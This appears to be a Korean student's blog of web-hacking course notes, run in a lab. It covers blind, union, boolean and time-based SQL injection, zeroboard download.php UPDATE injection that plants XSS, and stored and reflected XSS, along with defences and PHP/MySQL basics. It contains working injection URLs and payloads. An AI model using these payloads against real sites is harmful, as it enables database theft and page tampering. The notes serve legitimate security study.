blind SQL injection


-select 쿼리에 취약점이 있는경우

-화면에 노출되지 않는 테이블의 정보를 노출시키는게 가능




1.예제 작성


1).디비 구성:blind 



-news:(int)no,(text)title,(text)news






-fnews: no, title,news,bigo


-anews: no,title




news.php




1.취약점 확인

select * from news where no=1 asdasdasf

왜 에러가 났는지 알아야함 

asdasdasf이걸 쿼리로 이해했기 때문에 오류로 인식함 


"공백의 차이" 



$sql="select * from news where no={$_GET[no]}";

no를 숫자로 입력할 경우 

http://192.168.4.33/news.php?no=1 asdasdasf

쿼리 에러가 발생한다

select * from news where no=1 asdasdasf(query error)



$sql="select * from news where no='{$_GET[no]}'";

no를 문자로 입력할 경우 

http://192.168.4.33/news.php?no=1 asdasdasf


쿼리 에러를 발생하지 않는다 

select * from news where no='1 asdasdasf'(not error)



문자열을 쿼리 에러로 발생하게 하는방법은 

('나 "로 막아주면 거기까지 문자열 처리가 되서 그 뒤는 쿼리로 발생하게 된다)

select * from news where no='1' asda'

이렇게 처리하는것도 뒤에 문법상 맞지 않으니까 # 주석을 넣어서 뒤를 처리해준다 

select * from news where no='1' asda #'

select * from news where no='1\' asda #'


만약 ' " 값도 쿼리 에러를 주고싶지 않으면 (방어법)

$_GET[no]=addslashs($_GET[no]);

처리를 해버리면 아직까지는 우회할수 있는 방법은 없다 

앞에서 확인한것처럼 앞에 \가 다 붙기 때문에 문자열 처리를 벗어날수가 없다. 


$sql="select * from news where no='{$_GET[no]}'";

$sql="select * from news where no=\"{$_GET[no]}\"";


'(싱글쿼터)

"(더블쿼터)

둘다 쓸수 있어서 코드를 보지 않고는 어떤 방식으로 사용된것지 모르니까

다 확인해 봐야한다 




2.취약점 확인-참 또는 거짓  

$sql="select * from news where no={$_GET[no]}";

no를 숫자로 입력할 경우 



select * from news where no=1 and 1=1 실행

select * from news where no=1 and 1=2 오류


select * from news where no=1 and true 실행    

select * from news where no=1 and false 오류


select * from news where no=1 and 1 실행

select * from news where no=1 and 0 오류



select * from news where no=1; select * from fnews;

mysql 에서는 사용이 가능하지만 웹상에서는 사용이 불가능하다

;으로 가능하다


그래서 웹상에서는 union 을 사용해서 첫번째 쿼리와 두번째 쿼리를 합쳐준다

SELECT union SELECT 만 사용이 가능하고 

select * from news where no=1 union select * from news where no=1;


select * from news where no=1 union all select * from news where no=1;

모든 내용을 확인할수 있다



3.컬럼의 갯수


-컬럼의 갯수를 알지 못하면 union은 사용할 수 없다.


select * from news where no=1 union all select * from fnews

news의 컬럼의 숫자는 3개이고 fnews는 컬럼의 숫자가 4개라 문법 오류가 난다 

union을 사용할때는 컬럼의 숫자를 맞춰줘야한다


select * from news where no=1 union all select concat(no,title),news,bigo from fnews

이렇게 맞추면 되고 근데 이렇게되면 no 변수를 확인하지 못하니까 concat 함수를 써서 묶어주거나


select * from news where no=1 union all select title,news,null from fnews

의미없는 값을 써줘서 숫자를 맞춰도 상관이 없다


"개수를 찾는 법"


1. select * from news where no=1 union select 1,

select * from news where no=1 union select 1,2

select * from news where no=1 union select 1,2,3

노가다한다


2. select * from news where no=1 order by 100;

select * from news where no=1 order by 50;

select * from news where no=1 order by 10;

select * from news where no=1 order by 3;

숫자 만큼 칼럼을 정렬하라는 sql 쿼리인데 만약 숫자만큼 칼럼의 숫자가 없으면 오류가 난다 

이런 식으로 검색을 하면서 오류가 나는지 안나는지 확인한다



4.컬럼과 테이블의 이름


1).Guessing...(추측)


예).사용자 정보 


-user,member,


2).information_schema(mysql 에서만 사용이 가능하다 )


-select table_schema,table_name,table_type from information_schema.tables

-select table_schema,table_name,column_name from information_schema.columns

이렇게 information_schema 를 통해 모든 테이블,칼럼,등등 의 정보를 출력 할 수 있다.


5.확인하고자 하는 테이블과 비교한다 



---------더 어렵게


<?php

mysql_connect('localhost','root','1234');

mysql_select_db('blind');




#$_GET[no]=addslashes($_GET[no]);


$sql="select * from news where no={$_GET[no]}";

$resource=mysql_query($sql);



if($resource){

        echo "<h1>welcome News Site!!</h1>";

        $row=mysql_fetch_array($resource);

        echo "<h3>{$row[1]}</h3><br>";

        echo "<p>{$row[2]}</p>";

        

}

?>


while()문을 사용하지 않고 mysql_fetch_row()함수를 한번만 사용했기 때문에 

union을 이용하여 뒤에 select 1,2,3을 입력해도 첫번째 행만 출력하는 상황이다 



ex) 600번째 칼럼을 가지고오고 싶으면 


-select table_schema,table_name,table_type from information_schema.columns limit 599,1

가져올 라인수를 하나로 줄여주면서 사용이가능







--------------------더어렵게

<?php

mysql_connect('localhost','root','1234');

mysql_select_db('blind');




#$_GET[no]=addslashes($_GET[no]);


$sql="select * from news where no={$_GET[no]}";

$resource=mysql_query($sql);

$row=mysql_fetch_array($resource,MYSQL_BOTH));


if($row){


        echo "<h1>Welcome News Site!!!</h1>";


}

?>



아예 출력자체가 안되면 union을 쓸수없다 


*limit 함수

mysql> SELECT column_name FROM columns limit 0,10 ;

=> SELECT의 결과에서 0번째 데이터를 시작으로 10개의 데이터를 출력 ( 0번 줄 ~ 9번째 줄 )


mysql> SELECT column_name FROM columns limit 0,5 ;

=> SELECT의 결과에서 0번째 데이터부터 5개의 데이터를 출력 ( 0번째 줄 ~ 4번째 줄 )


mysql> SELECT column_name FROM columns limit 6,5 ;

=> SELECT의 결과에서 6번째 데이터부터 5개의 데이터를 출력 ( 6번째 줄 ~ 10번째 줄)



*substr( 문자열, 시작위치, 개수 ):    문자열의 시작위치( 1부터시작 ) 에서부터 개수만큼의 글자를 가져온다


mysql> SELECT substr( 'Hello, injection' , 1, 5 );

1번째 글자부터 5개 출력 => Hello


mysql> SELECT substr( 'Hello, injection' , 1, 1 );

1번째 글자부터 1개 출력 => H


mysql> SELECT substr( 'Hello, injection' , 2, 1 );

2번째 글자부터 1개 출력 => e


mysql> SELECT substr( 'Hello, injection' , 3, 1 );

3번째 글자부터 1개 출력 => l



mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,1, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 1번째 글자부터 1개의 글자를 아스키코드로 변환


mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,2, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 2번째 글자부터 1개의 글자를 아스키코드로 변환


mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,3, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 3번째 글자부터 1개의 글자를 아스키코드로 변환





columns 테이블에서 column_name 의 첫번째 행의 값을 알려고한다 

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),1,1))<100 (참)

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),1,1))<50(거짓)
..이런식으로 검색해보면 

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),1,1))=68
columns 테이블의 첫번째 데이터의 첫글자의 아스키 코드 값을 알수있다 68


columns 테이블에서 column_name 의 두번째 값을 알려고한다 


http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))<100 참

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))<50 거짓


....

http://192.168.4.33/news.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 0,1),2,1))=72


이런식으로 모든 값을 확인할수 있다

그리고 char() 내장 함수를 사용하여 내가 원하는 값으로 다시 변경 가능하다



한가지 팁이면 먼저 길이를 구하고 값을 획득해도 상관없다 


select * from news where no=1 and length((select table_name from information_schema.columns limit 20,1)) = 10



---------------더 어렵게 (출력문이 없어 참 거짓도 확인하지 못하게)



<?php

mysql_connect('localhost','root','1234');

mysql_select_db('blind');




#$_GET[no]=addslashes($_GET[no]);


$sql="select * from news where no={$_GET[no]}";

$resource=mysql_query($sql);

$row=mysql_fetch_array($resource,MYSQL_BOTH));


?>


이런식으로 확인한다


http://192.168.4.33/view.php?no=2 or 1=1 and sleep(100) 




[실습]

40번째 테이블의 이름을 확인(tables,limit 40)


http://192.168.4.33/view.php?no=2 or 1=1 and sleep(100) 


or select * from news where no=1 and length((select table_name from information_schema.tables limit 39,1))=4 and sleep(10)

select * from news where no=1 and length((select table_name from information_schema.tables limit 39,1))=4 and sleep(10)



select * from news where no=1 or 

select * from news where no=1 and length((select table_name from information_schema.table limit 40,1)) = 1 and sleep(10)


select * from news where no=1 and length((select table_name from information_schema.table limit 40,1)) = 1


select * from news where no=1 and ascii(substring((select table_name from information_schema.table limit 20,1),3,1) = 10









1.SQL Injection


-SQL 쿼리를 삽입할 수 있는 취약점

-php,command,...injection


-php download 취약점



2.취약점 확인


1).게시판 페이지 소스코드 확인

download.php?

id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=14&filenum=1


2).download.php

mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");


여기에 변수 $t_board 에 대한 정보가 없으니 내부에서 정의 되어 있는지 확인해 보면 lib.php에 정의되어 있다


lib.php


-내부에서 정의(lib.php)

$t_board = "zetyx_board";


-외부에서 정의(GET)

$id=attack

$filenum=1

$no=14


mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'"); 

그럼 이제 이 쿼리 구문을 해석해 보면 아래와 같이 출력이 되고 
update zetyx_board_attack set download1=download1+1 where no='14'

실제로 실행되는 sql 쿼리를 확인하면 이렇게 나온다.



외부에서 정의된 3가의 변수 때문에 injection에 취약하다



4).취약점 검증

download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1

외부에서 정의된 값을 조작할수있다

update zetyx_board_attack set download1=download1+1 where no='27'



get 방식으로 접근하니까 다운로드를 클릭하지 않고 Downlad 가 1로 증가했다.




5).

download.php?

id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=100

update zetyx_board_attack set download1=100=download100+1 where no='27'

이 쿼리문은 뒤에 수식이 오류가 나지만 

만약 여기서 update zetyx_board_attack set download1=100 여기까지만 실행하고 이 뒷부분을 주석처리한다면  "=download100+1 where no='27'"

이 쿼리는 오류가 나지 않을것이다. 



6).주석:--,#,/* */ ->url_encoding (escape) ->%아스키 코드값


download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=100 %23

update zetyx_board_attack set download1=100 #=download100+1 where no='14'



[실습]

-download 취약점을 이용해서 게시글에 다음과 같은 스크립트를 삽입한다 

<script> alert('xss') </script>



download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=10, memo="<script> alert('xss') </script>" where no=27 %23


이렇게 보면 다운로드수를 조작하는거 같지만 이거 자체로도 벌써 DB에 접속할수 있다는 소리고 그럼 DB 다른 값들도 이런 방식으로 조작이 가능하단 소리이다 그래서 게시글 안 내용도 조작이 가능하다
게시글안 변수 이름은memo니까 memo안에 스크립트를 삽입해주고 그 뒤는 주석 처리를 해주면 오류 없이 SQL 인젝션을 수행할수있다. 




1.차단


1). string injection


-memo:쿼츠가 필요하다

-php 설정:magic_quotes_GPC(구 버전 에서만 사용이 가능하다)

/etc/php.ini


설정을 On으로 변경뒤  SQL 인젝션 공격을 수행하면 

update zetyx_board_attack set download1=10, memo=\"<script> alert(\'xss\') </script>\" where no=29 #=download1=10, memo=\"<script> alert(\'xss\') </script>\" where no=29 #+1

''앞에 \\\이 붙은걸 확인할수 있다 


위에서 말한 개념처럼 이방식은 구 버전 에서만 사용이 가능한데 요즘은 


addslashes() 함수로 차단해야한다 입력값 3개만 차단하면 된다

download.php

$filenum=addslashes($filenum);

$no=addslashes($no);

$id=addslashes($id);





3개의 입력값만 차단하면 인젝션은 막을수 있는데 이 변수 3개가 GET방식으로 외부에서 정의되는 변수이기 때문이다


addslashes() 는 데이터베이스 질의 등에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙인 문자열을 반환합니다. 이 문자들은 작은 따옴표('), 큰 따옴표("), 백슬래시(\), NUL(NULL 바이트)입니다.


2). numeric injetion


-filenum:쿼츠가 필요하지 않다




2.우회


    문자열을 입력할 때 꼭 ', "을 사용해야 하는가?

-쿼츠를 사용하지 않고 문자열을 입력할 수 있어야 한다.

-쿼츠를 사용하지 않고 문자열을 표현 ->mysql funtion, if,while

함수 https://dev.mysql.com/doc/refman/5.7/en/func-op-summary-ref.html



1.mysql> select ascii('x'); 으로 아스키 코드로 변조가 가능하다 


우선 내가 쓰고싶은 문자를 ascii 코드로 변조를 시켜야 한다

이런 방식으로 ascii 코드의 숫자 값을 알게되면 만약 test 가 116,101,115,116 이렇게 구성되어 있는데




이제 그 숫자를 다시 char를 사용해서 문자로 표현이 가능하다

*CHAR() 함수는 아스키 코드 값에 의해 주어진 문자로 구성되는 문자열을 반환 mysql 내장 함수이다 


mysql> select char(70,71,72,73);

+-------------------+

| char(70,71,72,73) |

+-------------------+

| FGHI              |

+-------------------+

download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=14&filenum=1=10, memo=char(116,101,115,116) %23


변경이 가능하다 





! 취약점 점검 -> 취약점이 있음을 증명

1).결과를 보고->취약하다: 귀납적 추론

2)원인을 보고 소스코드 분석



1.client side language

-HTML,javascript,...

2.server sied language

-PHP


3.SQL


취약점 공부하기에 앞서


 1).취약점 

-모든 입력에 대해서 테스트:GET,POST,COOKIE


! 대부분의 보안은 많은 시간을 필요로 한다.

! 웹 해킹의 기본은 소스 보기 



2). 대응책

-전통적인 보안 기법: 방화벽,보안 솔루션(백신,..),모의해킹,보안패치 


-효율적인 보안 기법:시큐어 코딩 -> 현실적인 문제


! 대부분의 취약점은 이미 존재하는 상태에서 배포 

! 이전까지는 보안 패치를 통해서 대처 ->발견되는 취약점의 속도를 패치가 따라잡지 못한다.



1.XSS(Cross site Scripting)

- 웹 어플리케이션에서 사용자 입력값에 대한 필터링이 제대로 이루어지지 않을 경우, 공격자가 입력 가능한 폼(웹 브라우저 URL 또는 게시판 등)에 악의적인 스크립트를 삽입, 해당 스크립트가 희생자 측에서 동작하도록 하여 악의적인 행위를 수행하는 취약점


- 공격자는 취약점을 이용하여 사용자의 개인정보 및 쿠키정보 탈취, 악성코드 감염, 웹 페이지 변조 등의 공격을 수행



-다른 기법과 큰 차이점은 공격의 대상이 Server이 아닌 Client 



1) Stored XSS(저장형 XSS)


- 공격자가 취약한 웹서버에 악성 스크립트를 저장(게시판 등을 통해 DB에 저장)해 놓으면 희생자가 해당 자료를 요청(게시물 클릭 등) 할 때 해당 악성 스크립트가 삽입된 응답 페이지가 전달되어 클라이언트 측에서 동작하는 방식


이런식으로 글을 쓸때 내용에  <script> alert('XSS') </script> 스크립트를 삽입시켜주고 스크립트가 실행되는지 확인해야한다 






alert으로 xss가 출력되는것을 보아 스크립트가 실행되는걸 볼수있다

여기서는 xss 기법을 확인해 보고자 alert 스크립트를 사용하였지만 

만약 악성 스크립트가 삽입되면 당하는 사람은 스크립트가 실행되는지도 모르고 당할수가 있다 



이걸 확인할려면 들어가는 페이지마다 소스보기를 통해 스크립트를 확인해야하는데 이건 현실적으로 불가능한 방식이라 

XSS는 간단하면서도 강력한 공격 기법이다




제목에 스크립트를 삽입해도 실행이 가능하다


zboard 게시판에서는 쪽지 기능에서 제목과 내용 모두 공격이 가능하다




댓글도 마찬가지로 가능하다






 2) Reflected XSS


- 외부에 있는 악성 스크립트(외부 사이트 또는 이메일 등에 악성 스크립트가 포함된 링크 등)가 희생자 액션에 의해 취약한 웹서버로 전달되고, 웹서버의 응답 페이지에 해당 악성 스크립트가 삽입되어(DB에 저장되는 것이 아님) 희생자 측에서 동작하는 방식


-일부 브라우저에서 악의적인 스크립트에 대응하고 있기 때문에 저장된XSS보다 위협이 적은 편이다. 

하지만 악성서버로 유도되면 저장된 XSS와 위협은 동일하므로 입려값 검증이 꼭 필요하다




인터넷 옵션에서 XSS 체크를 풀어주어야 확인이 가능하다

"일부 브라우저에서 악의적인 스크립트에 대응하고 있기 때문에" 위에서 언급한 내용처럼 대응을 하고있다. 

그치만 완벽한 방법은 아니고 얼마든지 우회가 가능하다





조인버튼을 클릭하고

check ID 버튼을 클릭하면 


이런식으로 user_id를 GET 방식으로 전달할수있는걸 볼수있다 

이걸 조작을 통해서 user_id에  <script>alert('XSS')</script> 이런 스크립트를 삽입 할수있다 


공격이 가능하다  






* 대응책


1) 사용자의 입력값에 대한 검증은 반드시 "서버" 단에서 해야 한다. 클라이언트 단에서 검증을 수행하더라도 이는 공격자가 웹 프락스 툴을 이용해 쉽게 우회 가능하기 때문에 서버 단에서 추가적인 검증이 반드시 필요하다.


2) 사용자 입력 문자열에서 HTML 코드로 인식될 수 있는 특수문자를 일반문자로 치환하여 처리한다. 


3) 게시판 등에서 HTML 태크를 허용해야만 하는 경우라면 HTML 태그 화이트 리스트를 선정한 후, 해당 태그만 허용하는 방식을 적용한다.



소스 보기를 통해 

action값이 write_ok.php로 전달되는걸 확인할수 있고 그 이름은 name 속성을 통해서 전달되는걸 볼수있다 

따라서 write_ok.php 파일을 열어서 <script>가 발생하면 실행되지 않는 코딩을 추가해주면 방어가 가능하다 

이게 시큐어 코딩 이다 








스크립트를 추가하면 방어가 가능하다








복습//

VI 편집기에서 번호 목록을 출력하고 싶으면 esc+ set nu//





PHP:

-mysql 관련 라이브러리 사용

-php-mysql.i686을 설치



1).mysql 서버에 접속:mysql_conncet('localhost','root','1234');

mysql> mysql -h localhost -u root -p


2).디비 선택:mysql_select_db

mysql>use 디비 이름;


3).쿼리 실행 :mysql_query

mysql>select ..




php 설정


  229:short_open_tag=On

설정 하는 이유는  짧은 태그라고 해서 <?php ?> 를 <?   ?>로 바꿔 쓸수있다



db.php

     DB를 연결하고 선택하기 위한 파일이다 내용을 살펴 보자면






<?php

        $db=mysql_connect('localhost','root','1234');//mysql을 연결해주기 위한 문장 

if(!$db)

        {

        die('connect error:'.mysql_error());//서버가 연결이 에러 날때

        }

        $ret=mysql_select_db('photobook',$db);//db를 선택하는 문장 phyobook db 선택 

if(!$ret){

        die('USE error:'.mysql_error());

        }

?>



다른 파일에서 사용할시에는 이렇게 사용이 가능하다 



<?php

        include 'db.php';

?>



이제 전에 만들어 놓았던 이미지 테이블을 html 에서 직접 작성하지 않고 바로 photo1 테이블에서 가져와서 출력할수 이게 한다







이전에는 이런식으로 scr="html" 주소를 직접 입력하여서 사진을 불러왔는데 이제는 DB 테이블에 입력해둔 이미지 주소를 직접 불러와서 입력한다 


DB테이블을 먼저 보면 photo1 테이블 



 

테이블에는 no 숫자 type  데이터 타입 URL 정보를 입력해 두었다 




테이블에서 가지고온 url을 php에서 사용




코드 //




<?php


        $type = $_GET[type];//get타입으로 입력받아서 표시할꺼라 type은 get으로 설정하고


        $query="SELECT URL FROM photo1 WHERE type='{$type}'";//photo1 테이블에서 where 조건인 이제 get[type]으로 입력받은 $type 변수로 url을 받아온다 그럼 다 가지고오는게 아니라 url 정보만 가지고 오기 때문에 row로 가져와도 맨앞에만 존재한다 

        

  $resource = mysql_query( $query );//$resource 변수에 $query에 존재하는 그러니까 여기선 테이블에 url 정보가 출                                                                       력된다 


        if($resource){//$resource 가 존재하면 


        $row =mysql_fetch_row( $resource );//테이블에서 url  정보를 한줄씩 가지고온다 


        }


        else{

        die('QUERY error:'.mysql_error());

        }


        echo "<img src='{$row[0]}'/>";// 그리고 그 값을 src에 대입시켜준다 


?>







3X3 이미지를 반복문으로 가지고 올때 






코드//


<?php


        $type=$_GET[type];

        $query="SELECT URL FROM photo1 WHERE type='{$type}'";

        $resource = mysql_query( $query );


for($j=0; $j<3; $j++){

        echo "<tr>";

        for($i=0; $i<3; $i++){

        $row=mysql_fetch_row($resource);

?>


        <td>

        <img src="<?=$row[0]?>"/>

        </td>


<?php


          }

                echo "</tr>";

        }


?>













*기본 root의 권한을 가지고 있기 때문에 모든 DB를 삭제할수있다//조심해야한다



1.SQL( Structure Query Language)(대소문자를 구분하지 않는다)

-구조화된 질의 언어




1).DDL(Data Definition Language)

-데이터 정의어

-HTML에서 테이블과 비슷


-DB 생성이나 삭제, 테이블 생성이나 삭제

-CREATE,DROP



2).DML(Data Manulation Language)

-데이터 조작어

-테이블에 데이터를 삽입,수정,삭제,확인

-SELECT,INSERT,UPDATE,DELETE


3).DCL(Data Control Language)

-데이터 제어어

-권한,트랜잭션,.....

-GRANT,INVOKE,....





2.DB and Table 목록 확인하기

mysql> SHOW databases;

mysql> SHOW tables;



 3.DB 선택


mysql> USE information_schema;



4.DB 생성 


mysql>CREATE DATABASE 데이터 베이스 이름;




5.테이블 생성 및 삭제



- 열(col)을 미리 정의->저장할 데이터의 형태와 갯수를 나타낸다.


-URL 정보

-타입 정보

-순서 번호(입력된 순서대로)


순서번호 int| 타입정보 int| URL 정보 text


mysql>CREATE TABLE 테이블 이름(컬럼 이름 타입,컬럼 이름 타입 속성들...,);

mysql>CREATE TABLE photo(no int,type int,URL text);


mysql>DESC 테이블 이름;


mysql> CREATE TABLE photo(no int auto_increment primary key,type int,url text);

-no 번호가 자동으로 1씩 증가하도록 설정해준다




6.데이터 추가: INSERT

mysql> INSERT INTO 테이블 이름 VALUE(값,값...);

!추가되는 데이터들은 반드시 테이블 컬럼의 순서와 형태가 일치해야 한다

mysql>INSERT INTO 테이블 이름(컬럼이름,.....) VALUE(값,값...);

이런경우는 꼭 순서를 지키지 않아도 괜찮다

INSERT INTO photo(url,type) VALUE('https://pbs.twimg.com/profile_images/3450055745/3ed12368d3ffdffcac0808f44466ffdc.jpeg',2);  


7.데이터의 목록 출력: select(조회)


mysql>select 컬럼,....FROM 테이블 이름;

특정 데이터만 조회하고 싶으면 where ex) select url form photo where no=5;






8.데이터의 수정:UPDATE

mysql> UPDATE 테이블 이름 SET 컬럼=값; <-이러면 모든 컬럼의 값이 변해서 이러면 안된다

mysql> UPDATE 테이블 이름 SET 컬럼=값; WHERE 조건;

!조건이 일치하는 경우가 많은경우



9.데이터의 삭제:DELETE

-특정 행을 전부 삭제 

mysql> DELETE FORM 테이블 이름;<- 이러면 모든 행이 날라간다

mysql> DELETE FORM 테이블 이름 WHERE 조건 을 둬야한다



































1.외부에서 정의되는 변수



name 속성에 있는 값-> 변수로 정의




2.super global

-내부에서 정의되는 변수

-미리 정의되어 있다

-$_GET,$_POST,$_REQUEST


**중요한 내용**




[실습]:PHP+HTML




-사진첩(3 X 3) 이미지 삽입

-각각 이미지 삽입

<img src="https://pbs.twimg.com/profile_images/1269680338/_C0_CC_C1_BE_B9_FC_6848_zoo.jpg" width=100 height=100/>




전체 코드

<html>

<head>

<style>

        table{

                border:2px dashed blue;

                width=100%;

                height=100%;

        }


        td,tr{

                border:2px dashed blue;

        }



</style>

</head>


<body>

        <table>

                <h1 align="center">PhotoBook</h1>


                <tbody>


<html>

<head>

<style>

        table{

                border:2px dashed blue;

                width=100%;

                height=100%;

        }


        td,tr{

                border:2px dashed blue;

        }



</style>

</head>


<body>

        <table>

                <h1 align="center">PhotoBook</h1>


                <tbody>


                        <tr>

                                <td>

<?php

        if($_GET[type]=="1")//만약 받아오는 GET타입을 1로 두면 밑에 사진이 출력된다{

        echo"<img src='http://imgnews.naver.com/image/382/2017/10/31/0000603579_002_20171031080725128.jpg'>";

        }else if ($_GET[type]=="2")//타입이 2면 밑에 사진이 출력된다{

        echo"<img src='https://search.pstatic.net/common/?src=http%3A%2F%2Fimgnews.naver.com%2Fimage%2F396%2F2015%2F09%2F17%2F20150917000148_0_99_20150917113621.jpg&type=b400'>";

        }

?>                              </td>

                                <td><img src="http://blogfiles8.naver.net/20110511_212/dwandsh_1305040923133agBph_PNG/%B1%E8%BC%B1%BA%F34.png"/> </td>

                                <td><img src="http://blogfiles9.naver.net/20140218_188/myj027_1392731062177OmqOj_JPEG/%BE%E7%C7%F6%C1%BE003.jpg"/></td>

                        </tr>


                        <tr>

                                <td>

<?php

        if($_GET[type]=="3"){

?>

                                <img src="https://search.pstatic.net/common/?src=http%3A%2F%2Fblogfiles5.naver.net%2FMjAxNzA1MTlfMTA4%2FMDAxNDk1MTgxNDQ0NjI2.6qYhkX6saZL72wApOfjvQ8-B8BNFdLu41BmyIBs4NBYg.0C2_IaHcH7xEbCCqFBnjW_MNoNFD-nMTm-wZnRYRKxwg.JPEG.seulki113%2FP20170519_170009000_ADCAFC67-225A-4807-B8B9-C5F7ED795C87.jpg&type=b400"/>

<?php

        }else if($_GET[type]=="4"){


?>

                                <img src="http://blogfiles12.naver.net/20150917_180/jjangjjang0215_1442492909747hgjjM_JPEG/2015-09-17_16%3B32%3B34.jpg"/>

<?php


        }


?> //이렇게 html 이랑 섞어서 사용해도 가능하다 





vi /etc/php.ini

!에러 메시지 확인하는 방법

php 설정 파일:dispaly_errors=OFF

이걸 켜주면 확인이 가능하다 





데이터베이스

mysql 공식 홈페이지 :https://dev.mysql.com/

-OS:Linux +WAS(웹 애플리케이션 서버)+DB

-php+html+DB


-DBMS:DataBase Management System

-Oracle,SQL,MySQL,MariaDB,...(관계형 데이터베이스)


-NoSQL:MongoDB,Hadoop,Spark,...(분산형 데이터베이스)





설치:

yum search mysql

yum install mysql.i686

yum install mysql-server.i686

실행 :

service mysqld start


접속:

mysql -h localhost -u root


접속 종료:quit



일반적으로는 mysql -u root 로 사용이 가능하다(로컬에서만 사용하기 때문에)





패스워드 설정하기 


mysqladmin -u root password 1234


















이미지1

-GET, POST, REQUEST 슈퍼 글로벌 차이

 

'웹 해킹' 카테고리의 다른 글

[Web해킹] 8일차 html+php+mysql  (0) 2017.11.22
[Web해킹] 7일차 mysql  (0) 2017.11.21
[Web해킹]5일차 php  (0) 2017.11.16
[Web해킹]4일차 javascript  (0) 2017.11.16
[Web해킹]3일차 javascript  (0) 2017.11.16

html 기본 형태 


<html>



<head></head>


<body>



        <form>

        </form>


</body>



</hml>




WEB 1.0

-HTML+javascript


WEB 2.0

-server application :PHP,python, jsp 


-HTML: FORM 태그의 추가




FORM 태그(분석하는게 매우 중요하다) 

-서버와 통신할 수 있는 창구 역할

-클라이언트의 데이터를 한 번에 서버로 전달

-웹 페이지에서 입력할수 있는 부분을 폼이라고 한다 

-form을 분석 -> 전달 되는 데이터, 누가처리

기본 형태(<input type="text" name="FirstName" value="Mickey"><br>)


1). 속성 


-method:전달 방식 지정(GET or POST)

-action:전달할 서버 어플리케이션을 지정

-name:  form을 식별하는 용도로 많이 사용


2).요소


2-1) input 요소: 다양한 입력 형태

-type:입력 형태를 지정 

-name:실제 데이터가 전달될 때 변수 역할을 한다

-value:전달될 값 


Server Side Script Language

1).php 설치





yum을 이용해서 설치

yum -y install php.i686



2).실행 

-파일의 확장자는 .php를 사용(default)

#>php <php source file>


3). 기본 구조


<?php //php 블록의 시작



?> //php 블록의 끝

   

-모든 php 코드는 블록안에 있어야 한다.

    -블록은 여러개 일 수 있다.

    -하나의 php 파일 안에 php 코드만 조재하지 않기 때문이다.

-문자열을 연결할때는 +를 쓰지않고 .을 쓴다


공부할때 공식사이트 참조 php.net



4). 기본 자료형

-문자(",' 따로 구별하지 않는다),숫자(정수,실수)

-boolean:True,False

5). 변수 

-선언은 없고, 정의해서 사용하면 된다.

-변수의 타입은 정의될 때 결정

-$변수이름

5-1).미리 선언된 변수

-프로그램 내에서 정의된 변수들

-super_global:$_SERVER,$_GET,$_POST,

      $_COOKIE


5-2).외부에서 오는 변수들

-프로그램 외부에서 정의되는 변수들

-GET,POST를 통해서 오는 변수들



6)배열 


일반적인 배열 사용법

$var = array(1,2,3,4,5);

print($var[0]);

print_r($var);

var_dump($var);










연관 배열:배열 번호를 지정할수 있다 



7)함수 


기본 구조 


<?php

function 함수이름($arg_1, $arg_2, /* ..., */ $arg_n)

{

    echo "예제 함수.\n";

    return $retval;

}

?>







[실습]


-php 구구단 출력(2~9)


<?php



        $i;

        $j;

                for($i=2; $i<=9; $i++){

                        for($j=1; $j<=9; $j++){

                                $nu=$i*$j;

                                printf("%d * %d= %d\n",$i,$j,$nu);}

                        printf("\n");

                }


?>




-구구단 횡으로 출력 



1.외부에서 정의되는 변수


-GET이나 POST로 전달되는 변수는 모두 외부에서 정의되는 변수로 취급 




1).register_globals:일반 변수-> 글로벌 변수

현재 버전에서는 

-기본 =off

!php 내에서 사용되는 변수는 해당 파일 내에서만 유효(다른 파일을 참조할수없다)


그러나 글로벌 변수를 만들면 다른 파일에서 참조 할수있다



!php 설정 파일: /etc/php.ini

register_globals:On으로 변경한다 


2)실행. php코드의 실행


-서버에서 실행->결과

-사용자 웹 브라우저에서 절대 소스코드를 확인할 수 없다.

-공격 -> 추측 


get은 url을 직접 연결하면되는데

post는 form을 통하지 않고는 연결할수가없다



GET Vs. POST 


1.GET


-URL을 통해 값을 전달

-전송하는 데이터가 외부에 노출

-데이터의 크기의 한계가 있다.



2.POST


-HTTP Message Body를 통해 값을 전달

-전송하는 데이터가 외부에 노출되지 않음

-데이터의 크기도 제한이 없다.

<소스를 분석하는 방법이외에는 방법이 없다,아니면 패킷을 직접 열어보거나>





























4일차 (자바 스크립트)



1. 분기문: if

if(  표현식&&표현식 || 표현식  ){

}


다중 조건도 가능하다 


2.반복문 :do_while, while, for, for in 


초기식

while(표현식){

   증감 


}


for(초기식; 조건; 증감){


}



var i = 0;

while(i<5){

text +=...

i++;

}



무한루프


while(true){


}


for(;;){    for 안에 ;;은 필수적


}

2.함수의 정의

var 함수이름=function()

function 함수이름(){

}


